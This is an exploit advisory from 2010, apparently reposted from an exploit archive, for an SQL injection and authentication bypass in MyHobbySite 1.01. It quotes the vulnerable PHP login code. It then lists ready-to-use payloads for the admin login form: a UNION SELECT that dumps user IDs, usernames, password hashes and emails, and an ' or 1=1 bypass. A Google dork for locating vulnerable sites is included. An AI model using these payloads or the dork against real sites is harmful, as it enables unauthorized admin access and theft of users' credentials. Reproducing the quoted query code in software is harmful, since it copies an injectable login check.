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MyHobbySite 1.01 SQL Injection / Authentication Bypass Vulne

Posted on 12 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>MyHobbySite 1.01 SQL Injection / Authentication Bypass Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================================
MyHobbySite 1.01 SQL Injection / Authentication Bypass Vulnerability
====================================================================

#########################################################################################
# Exploit Title: MyHobbySite 1.01 SQL injection, Bypass Authentication Vulnerability
# Date: 12-09-2010
# Author: YuGj VN
# Email: anhtuanittn.vn@gmail.com
# Software Link: http://www.myhobbysite.net/index.php?page=15
# Version: v1.01
#########################################################################################
 
Bug Code:
if (isset($_REQUEST['username']) and isset($_REQUEST['password'])) {
    // Get user info from the dataabse
    $_REQUEST['username'] = trim($_REQUEST['username']);
    $_REQUEST['password'] = trim($_REQUEST['password']);
    $usersettings = @mysql_query(&quot;SELECT * FROM &quot; . $CONFIG['database_table_prefix'] . &quot;users WHERE username='$_REQUEST[username]' AND password=md5('$_REQUEST[password]')&quot;);
    $usersettings = mysql_fetch_array($usersettings);
    if ($usersettings) {
        $_SESSION['logged_in'] = TRUE;
        $_SESSION['userid'] = $usersettings['id'];
        $_SESSION['user'] = $usersettings['username'];
        $_SESSION['pass'] = $usersettings['password'];
        $_SESSION['email'] = $usersettings['email'];
        $_SESSION['permissions'] = $usersettings['permissions'];
        UpdateLogs($usersettings['username'] . &quot; logged into the Admin CP.&quot;);
    } else {
        $failed_login = TRUE;
    }
}
 
#########################################################################################
 
Exploit:
 
link exploit:  http://domain.com/admin/
# Enter in username field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- -
# Enter in password field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- -
# or
# Enter in username field: ' or 1=1-- -
# Enter in password field: ' or 1=1-- -
#
#
# We can exploit only when magic_quote_gpc = Off
# Google dork: Powered by MyHobbySite 1.01
#
#
#########################################################################################


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-12]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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